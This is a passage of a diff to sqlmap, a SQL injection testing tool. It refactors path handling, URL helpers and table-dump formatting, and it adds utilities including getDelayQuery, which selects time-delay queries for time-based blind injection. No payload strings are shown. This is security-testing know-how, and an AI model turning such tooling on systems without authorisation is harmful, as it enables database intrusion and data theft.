paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||||
|
|
||||||
|
|
||||||
def weAreFrozen():
|
def weAreFrozen():
|
||||||
"""
|
"""
|
||||||
Returns whether we are frozen via py2exe.
|
Returns whether we are frozen via py2exe.
|
||||||
@@ -562,7 +557,6 @@ def weAreFrozen():
|
|||||||
|
|
||||||
return hasattr(sys, "frozen")
|
return hasattr(sys, "frozen")
|
||||||
|
|
||||||
|
|
||||||
def parseTargetUrl():
|
def parseTargetUrl():
|
||||||
"""
|
"""
|
||||||
Parse target url and set some attributes into the configuration
|
Parse target url and set some attributes into the configuration
|
||||||
@@ -593,11 +587,10 @@ def parseTargetUrl():
|
|||||||
conf.port = 80
|
conf.port = 80
|
||||||
|
|
||||||
if __urlSplit[3]:
|
if __urlSplit[3]:
|
||||||
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
|
conf.parameters["GET"] = __urlSplit[3]
|
||||||
|
|
||||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||||
|
|
||||||
|
|
||||||
def expandAsteriskForColumns(expression):
|
def expandAsteriskForColumns(expression):
|
||||||
# If the user provided an asterisk rather than the column(s)
|
# If the user provided an asterisk rather than the column(s)
|
||||||
# name, sqlmap will retrieve the columns itself and reprocess
|
# name, sqlmap will retrieve the columns itself and reprocess
|
||||||
@@ -630,7 +623,6 @@ def expandAsteriskForColumns(expression):
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def getRange(count, dump=False, plusOne=False):
|
def getRange(count, dump=False, plusOne=False):
|
||||||
count = int(count)
|
count = int(count)
|
||||||
indexRange = None
|
indexRange = None
|
||||||
@@ -644,15 +636,14 @@ def getRange(count, dump=False, plusOne=False):
|
|||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
if kb.dbms == "Oracle" or plusOne == True:
|
if plusOne:
|
||||||
indexRange = range(limitStart, limitStop + 1)
|
indexRange = range(limitStart, limitStop + 1)
|
||||||
else:
|
else:
|
||||||
indexRange = range(limitStart - 1, limitStop)
|
indexRange = range(limitStart - 1, limitStop)
|
||||||
|
|
||||||
return indexRange
|
return indexRange
|
||||||
|
|
||||||
|
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||||
def parseUnionPage(output, expression, partial=False, condition=None):
|
|
||||||
data = []
|
data = []
|
||||||
|
|
||||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||||
@@ -666,7 +657,7 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
|||||||
|
|
||||||
output = re.findall(regExpr, output, re.S)
|
output = re.findall(regExpr, output, re.S)
|
||||||
|
|
||||||
if condition == None:
|
if condition is None:
|
||||||
condition = (
|
condition = (
|
||||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||||
and expression in kb.resumedQueries[conf.url].keys()
|
and expression in kb.resumedQueries[conf.url].keys()
|
||||||
@@ -676,7 +667,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
|||||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||||
|
|
||||||
output = set(output)
|
if sort:
|
||||||
|
output = set(output)
|
||||||
|
|
||||||
for entry in output:
|
for entry in output:
|
||||||
info = []
|
info = []
|
||||||
@@ -700,3 +692,164 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
|||||||
data = data[0]
|
data = data[0]
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def getDelayQuery(andCond=False):
|
||||||
|
query = None
|
||||||
|
|
||||||
|
if kb.dbms in ("MySQL", "PostgreSQL"):
|
||||||
|
if not kb.data.banner:
|
||||||
|
conf.dbmsHandler.getVersionFromBanner()
|
||||||
|
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
||||||
|
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
||||||
|
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL" and andCond:
|
||||||
|
query = query.replace("SELECT ", "")
|
||||||
|
|
||||||
|
else:
|
||||||
|
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||||
|
else:
|
||||||
|
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||||
|
|
||||||
|
return query
|
||||||
|
|
||||||
|
def getLocalIP():
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect((conf.hostname, conf.port))
|
||||||
|
ip, _ = s.getsockname()
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
return ip
|
||||||
|
|
||||||
|
def getRemoteIP():
|
||||||
|
return socket.gethostbyname(conf.hostname)
|
||||||
|
|
||||||
|
def getFileType(filePath):
|
||||||
|
try:
|
||||||
|
magicFileType = magic.from_file(filePath)
|
||||||
|
except:
|
||||||
|
return "unknown"
|
||||||
|
|
||||||
|
if "ASCII" in magicFileType or "text" in magicFileType:
|
||||||
|
return "text"
|
||||||
|
else:
|
||||||
|
return "binary"
|
||||||
|
|
||||||
|
def pollProcess(process):
|
||||||
|
while True:
|
||||||
|
dataToStdout(".")
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
returncode = process.poll()
|
||||||
|
|
||||||
|
if returncode is not None:
|
||||||
|
if returncode == 0:
|
||||||
|
dataToStdout(" done\n")
|
||||||
|
elif returncode < 0:
|
||||||
|
dataToStdout(" process terminated by signal %d\n" % returncode)
|
||||||
|
elif returncode > 0:
|
||||||
|
dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
def getCharset(charsetType=None):
|
||||||
|
asciiTbl = []
|
||||||
|
|
||||||
|
if charsetType is None:
|
||||||
|
asciiTbl = range(0, 128)
|
||||||
|
|
||||||
|
# 0 or 1
|
||||||
|
elif charsetType == 1:
|
||||||
|
asciiTbl.extend([ 0, 1 ])
|
||||||
|
asciiTbl.extend(range(47, 50))
|
||||||
|
|
||||||
|
# Digits
|
||||||
|
elif charsetType == 2:
|
||||||
|
asciiTbl.extend([ 0, 1 ])
|
||||||
|
asciiTbl.extend(range(47, 58))
|
||||||
|
|
||||||
|
# Hexadecimal
|
||||||
|
elif charsetType == 3:
|
||||||
|
asciiTbl.extend([ 0, 1 ])
|
||||||
|
asciiTbl.extend(range(47, 58))
|
||||||
|
asciiTbl.extend(range(64, 71))
|
||||||
|
asciiTbl.extend(range(96, 103))
|
||||||
|
|
||||||
|
# Characters
|
||||||
|
elif charsetType == 4:
|
||||||
|
asciiTbl.extend([ 0, 1 ])
|
||||||
|
asciiTbl.extend(range(64, 91))
|
||||||
|
asciiTbl.extend(range(96, 123))
|
||||||
|
|
||||||
|
# Characters and digits
|
||||||
|
elif charsetType == 5:
|
||||||
|
asciiTbl.extend([ 0, 1 ])
|
||||||
|
asciiTbl.extend(range(47, 58))
|
||||||
|
asciiTbl.extend(range(64, 91))
|
||||||
|
asciiTbl.extend(range(96, 123))
|
||||||
|
|
||||||
|
return asciiTbl
|
||||||
|
|
||||||
|
def searchEnvPath(fileName):
|
||||||
|
envPaths = os.environ["PATH"]
|
||||||
|
result = None
|
||||||
|
|
||||||
|
if IS_WIN:
|
||||||
|
envPaths = envPaths.split(";")
|
||||||
|
else:
|
||||||
|
envPaths = envPaths.split(":")
|
||||||
|
|
||||||
|
for envPath in envPaths:
|
||||||
|
envPath = envPath.replace(";", "")
|
||||||
|
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||||
|
|
||||||
|
if result:
|
||||||
|
break
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def sanitizeCookie(cookieStr, warn=False):
|
||||||
|
if cookieStr:
|
||||||
|
result = ""
|
||||||
|
changed = False
|
||||||
|
for part in cookieStr.split(';'):
|
||||||
|
index = part.find('=') + 1
|
||||||
|
if index > 0:
|
||||||
|
name = part[:index - 1].strip()
|
||||||
|
value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20")
|
||||||
|
if value != part[index:]:
|
||||||
|
changed = True
|
||||||
|
result += ";%s=%s" % (name, value)
|
||||||
|
elif part.strip().lower() != "secure":
|
||||||
|
result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20"))
|
||||||
|
else:
|
||||||
|
result += ";secure"
|
||||||
|
if result.startswith(';'):
|
||||||
|
result = result[1:]
|
||||||
|
elif result.startswith('%3B'):
|
||||||
|
result = result[3:]
|
||||||
|
if changed and warn:
|
||||||
|
warnMsg = "cookie is provided in HTTP unsafe format containing one "
|
||||||
|
warnMsg += "of problematic characters: ' ,;'. temporary sanitized."
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
return result
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def directoryPath(path):
|
||||||
|
retVal = None
|
||||||
|
if path.find('/') != -1:
|
||||||
|
retVal = posixpath.dirname(path)
|
||||||
|
else:
|
||||||
|
retVal = ntpath.dirname(path)
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def normalizePath(path):
|
||||||
|
retVal = None
|
||||||
|
if path.find('/') != -1:
|
||||||
|
retVal = posixpath.normpath(path)
|
||||||
|
else:
|
||||||
|
retVal = ntpath.normpath(path)
|
||||||
|
return retVal
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,22 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import md5
|
import md5
|
||||||
import sha
|
import sha
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
|
||||||
def base64decode(string):
|
def base64decode(string):
|
||||||
return string.decode("base64")
|
return string.decode("base64")
|
||||||
|
|
||||||
|
|
||||||
def base64encode(string):
|
def base64encode(string):
|
||||||
return string.encode("base64")[:-1]
|
return string.encode("base64")[:-1]
|
||||||
|
|
||||||
|
|
||||||
def hexdecode(string):
|
def hexdecode(string):
|
||||||
string = string.lower()
|
string = string.lower()
|
||||||
|
|
||||||
@@ -45,42 +40,40 @@ def hexdecode(string):
|
|||||||
string = string[2:]
|
string = string[2:]
|
||||||
|
|
||||||
return string.decode("hex")
|
return string.decode("hex")
|
||||||
|
|
||||||
|
|
||||||
def hexencode(string):
|
def hexencode(string):
|
||||||
return string.encode("hex")
|
return string.encode("hex")
|
||||||
|
|
||||||
|
|
||||||
def md5hash(string):
|
def md5hash(string):
|
||||||
return md5.new(string).hexdigest()
|
return md5.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def orddecode(string):
|
def orddecode(string):
|
||||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||||
|
|
||||||
|
|
||||||
def ordencode(string):
|
def ordencode(string):
|
||||||
return tuple([ord(char) for char in string])
|
return tuple([ord(char) for char in string])
|
||||||
|
|
||||||
|
|
||||||
def sha1hash(string):
|
def sha1hash(string):
|
||||||
return sha.new(string).hexdigest()
|
return sha.new(string).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
def urldecode(string):
|
def urldecode(string):
|
||||||
if not string:
|
result = None
|
||||||
return
|
|
||||||
|
if string:
|
||||||
|
result = urllib.unquote_plus(string)
|
||||||
|
|
||||||
doublePercFreeString = string.replace("%%", "__DPERC__")
|
return result
|
||||||
unquotedString = urllib.unquote_plus(doublePercFreeString)
|
|
||||||
unquotedString = unquotedString.replace("__DPERC__", "%%")
|
|
||||||
|
|
||||||
return unquotedString
|
def urlencode(string, safe=":/?%&=", convall=False):
|
||||||
|
result = None
|
||||||
|
|
||||||
|
if string is None:
|
||||||
|
return result
|
||||||
|
|
||||||
def urlencode(string, safe=":/?%&="):
|
if convall:
|
||||||
if not string:
|
result = urllib.quote(string)
|
||||||
return
|
else:
|
||||||
|
result = urllib.quote(string, safe)
|
||||||
|
|
||||||
return urllib.quote(string, safe)
|
return result
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.datatype import advancedDict
|
from lib.core.datatype import advancedDict
|
||||||
from lib.core.settings import LOGGER
|
from lib.core.settings import LOGGER
|
||||||
|
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
from lib.core.exception import sqlmapDataException
|
from lib.core.exception import sqlmapDataException
|
||||||
|
|
||||||
|
|
||||||
class advancedDict(dict):
|
class advancedDict(dict):
|
||||||
"""
|
"""
|
||||||
This class defines the sqlmap object, inheriting from Python data
|
This class defines the sqlmap object, inheriting from Python data
|
||||||
@@ -45,7 +43,6 @@ class advancedDict(dict):
|
|||||||
# After initialisation, setting attributes
|
# After initialisation, setting attributes
|
||||||
# is the same as setting an item
|
# is the same as setting an item
|
||||||
|
|
||||||
|
|
||||||
def __getattr__(self, item):
|
def __getattr__(self, item):
|
||||||
"""
|
"""
|
||||||
Maps values to attributes
|
Maps values to attributes
|
||||||
@@ -57,7 +54,6 @@ class advancedDict(dict):
|
|||||||
except KeyError:
|
except KeyError:
|
||||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||||
|
|
||||||
|
|
||||||
def __setattr__(self, item, value):
|
def __setattr__(self, item, value):
|
||||||
"""
|
"""
|
||||||
Maps attributes to values
|
Maps attributes to values
|
||||||
|
|||||||
148
lib/core/dump.py
148
lib/core/dump.py
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToDumpFile
|
from lib.core.common import dataToDumpFile
|
||||||
from lib.core.common import filePathToString
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
|
||||||
class Dump:
|
class Dump:
|
||||||
"""
|
"""
|
||||||
This class defines methods used to parse and output the results
|
This class defines methods used to parse and output the results
|
||||||
@@ -43,20 +39,11 @@ class Dump:
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__outputFile = None
|
self.__outputFile = None
|
||||||
self.__outputFP = None
|
self.__outputFP = None
|
||||||
|
|
||||||
|
def __write(self, data, n=True):
|
||||||
def __write(self, data, n=True, rFile=False):
|
|
||||||
if n:
|
if n:
|
||||||
print data
|
print data
|
||||||
self.__outputFP.write("%s\n" % data)
|
self.__outputFP.write("%s\n" % data)
|
||||||
|
|
||||||
# TODO: do not duplicate queries output in the text file, check
|
|
||||||
# before if the data is already within the text file content
|
|
||||||
if rFile and conf.rFile:
|
|
||||||
rFile = filePathToString(conf.rFile)
|
|
||||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
|
||||||
rFileFP.write(data)
|
|
||||||
rFileFP.close()
|
|
||||||
else:
|
else:
|
||||||
print data,
|
print data,
|
||||||
self.__outputFP.write("%s " % data)
|
self.__outputFP.write("%s " % data)
|
||||||
@@ -64,42 +51,42 @@ class Dump:
|
|||||||
self.__outputFP.flush()
|
self.__outputFP.flush()
|
||||||
|
|
||||||
conf.loggedToOut = True
|
conf.loggedToOut = True
|
||||||
|
|
||||||
|
|
||||||
def setOutputFile(self):
|
def setOutputFile(self):
|
||||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||||
self.__outputFP = open(self.__outputFile, "a")
|
self.__outputFP = open(self.__outputFile, "a")
|
||||||
|
|
||||||
|
def string(self, header, data, sort=True):
|
||||||
def string(self, header, data):
|
|
||||||
if isinstance(data, (list, tuple, set)):
|
if isinstance(data, (list, tuple, set)):
|
||||||
self.lister(header, data)
|
self.lister(header, data, sort)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
|
data = str(data)
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||||
data = data.replace("__DEL__", ", ")
|
data = data.replace("__DEL__", ", ")
|
||||||
|
|
||||||
if "\n" in data:
|
if "\n" in data:
|
||||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
self.__write("%s:\n---\n%s---\n" % (header, data))
|
||||||
else:
|
else:
|
||||||
self.__write("%s: '%s'\n" % (header, data))
|
self.__write("%s: '%s'\n" % (header, data))
|
||||||
else:
|
else:
|
||||||
self.__write("%s:\tNone\n" % header)
|
self.__write("%s:\tNone\n" % header)
|
||||||
|
|
||||||
|
def lister(self, header, elements, sort=True):
|
||||||
def lister(self, header, elements):
|
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("%s [%d]:" % (header, len(elements)))
|
self.__write("%s [%d]:" % (header, len(elements)))
|
||||||
|
|
||||||
try:
|
if sort:
|
||||||
elements = set(elements)
|
try:
|
||||||
elements = list(elements)
|
elements = set(elements)
|
||||||
elements.sort(key=lambda x: x.lower())
|
elements = list(elements)
|
||||||
except:
|
elements.sort(key=lambda x: x.lower())
|
||||||
pass
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
for element in elements:
|
for element in elements:
|
||||||
if isinstance(element, str):
|
if isinstance(element, str):
|
||||||
@@ -109,8 +96,7 @@ class Dump:
|
|||||||
|
|
||||||
if elements:
|
if elements:
|
||||||
self.__write("")
|
self.__write("")
|
||||||
|
|
||||||
|
|
||||||
def userSettings(self, header, userSettings, subHeader):
|
def userSettings(self, header, userSettings, subHeader):
|
||||||
self.__areAdmins = set()
|
self.__areAdmins = set()
|
||||||
|
|
||||||
@@ -138,8 +124,37 @@ class Dump:
|
|||||||
self.__write(" %s: %s" % (subHeader, setting))
|
self.__write(" %s: %s" % (subHeader, setting))
|
||||||
print
|
print
|
||||||
|
|
||||||
|
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||||
|
for column, dbTables in dbColumns.items():
|
||||||
|
if colConsider == "1":
|
||||||
|
colConsiderStr = "s like '" + column + "' were"
|
||||||
|
else:
|
||||||
|
colConsiderStr = " '%s' was" % column
|
||||||
|
|
||||||
|
msg = "Column%s found in the " % colConsiderStr
|
||||||
|
msg += "following databases:"
|
||||||
|
self.__write(msg)
|
||||||
|
|
||||||
|
printDbs = {}
|
||||||
|
|
||||||
|
for db, tblData in dbs.items():
|
||||||
|
for tbl, colData in tblData.items():
|
||||||
|
for col in colData:
|
||||||
|
if column in col:
|
||||||
|
if db in printDbs:
|
||||||
|
printDbs[db][tbl] = colData
|
||||||
|
else:
|
||||||
|
printDbs[db] = { tbl: colData }
|
||||||
|
break
|
||||||
|
|
||||||
|
self.dbTableColumns(printDbs)
|
||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
|
if not isinstance(dbTables, dict):
|
||||||
|
self.string("tables", dbTables)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
maxlength = 0
|
maxlength = 0
|
||||||
|
|
||||||
for tables in dbTables.values():
|
for tables in dbTables.values():
|
||||||
@@ -166,7 +181,6 @@ class Dump:
|
|||||||
|
|
||||||
self.__write("+%s+\n" % lines)
|
self.__write("+%s+\n" % lines)
|
||||||
|
|
||||||
|
|
||||||
def dbTableColumns(self, tableColumns):
|
def dbTableColumns(self, tableColumns):
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
@@ -182,12 +196,16 @@ class Dump:
|
|||||||
for column in colList:
|
for column in colList:
|
||||||
colType = columns[column]
|
colType = columns[column]
|
||||||
maxlength1 = max(maxlength1, len(column))
|
maxlength1 = max(maxlength1, len(column))
|
||||||
maxlength2 = max(maxlength2, len(colType))
|
|
||||||
|
if colType is not None:
|
||||||
|
maxlength2 = max(maxlength2, len(colType))
|
||||||
|
|
||||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||||
maxlength2 = max(maxlength2, len("TYPE"))
|
|
||||||
lines1 = "-" * (int(maxlength1) + 2)
|
lines1 = "-" * (int(maxlength1) + 2)
|
||||||
lines2 = "-" * (int(maxlength2) + 2)
|
|
||||||
|
if colType is not None:
|
||||||
|
maxlength2 = max(maxlength2, len("TYPE"))
|
||||||
|
lines2 = "-" * (int(maxlength2) + 2)
|
||||||
|
|
||||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||||
|
|
||||||
@@ -196,24 +214,42 @@ class Dump:
|
|||||||
else:
|
else:
|
||||||
self.__write("[%d columns]" % len(columns))
|
self.__write("[%d columns]" % len(columns))
|
||||||
|
|
||||||
self.__write("+%s+%s+" % (lines1, lines2))
|
if colType is not None:
|
||||||
|
self.__write("+%s+%s+" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("+%s+" % lines1)
|
||||||
|
|
||||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
|
||||||
|
|
||||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
if colType is not None:
|
||||||
self.__write("+%s+%s+" % (lines1, lines2))
|
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||||
|
|
||||||
|
if colType is not None:
|
||||||
|
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||||
|
self.__write("+%s+%s+" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("| Column%s |" % blank1)
|
||||||
|
self.__write("+%s+" % lines1)
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
colType = columns[column]
|
colType = columns[column]
|
||||||
blank1 = " " * (maxlength1 - len(column))
|
blank1 = " " * (maxlength1 - len(column))
|
||||||
blank2 = " " * (maxlength2 - len(colType))
|
|
||||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
|
||||||
|
|
||||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
if colType is not None:
|
||||||
|
blank2 = " " * (maxlength2 - len(colType))
|
||||||
|
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||||
|
else:
|
||||||
|
self.__write("| %s%s |" % (column, blank1))
|
||||||
|
|
||||||
|
if colType is not None:
|
||||||
|
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("+%s+\n" % lines1)
|
||||||
|
|
||||||
def dbTableValues(self, tableValues):
|
def dbTableValues(self, tableValues):
|
||||||
|
if tableValues is None:
|
||||||
|
return
|
||||||
|
|
||||||
db = tableValues["__infos__"]["db"]
|
db = tableValues["__infos__"]["db"]
|
||||||
if not db:
|
if not db:
|
||||||
db = "All"
|
db = "All"
|
||||||
@@ -238,8 +274,8 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
lines = "-" * (int(info["length"]) + 2)
|
lines = "-" * (int(info["length"]) + 2)
|
||||||
separator += "+%s" % lines
|
separator += "+%s" % lines
|
||||||
|
|
||||||
separator += "+"
|
separator += "+"
|
||||||
@@ -254,19 +290,21 @@ class Dump:
|
|||||||
|
|
||||||
for column in columns:
|
for column in columns:
|
||||||
if column != "__infos__":
|
if column != "__infos__":
|
||||||
info = tableValues[column]
|
info = tableValues[column]
|
||||||
maxlength = int(info["length"])
|
maxlength = int(info["length"])
|
||||||
blank = " " * (maxlength - len(column))
|
blank = " " * (maxlength - len(column))
|
||||||
|
|
||||||
self.__write("| %s%s" % (column, blank), n=False)
|
self.__write("| %s%s" % (column, blank), n=False)
|
||||||
|
|
||||||
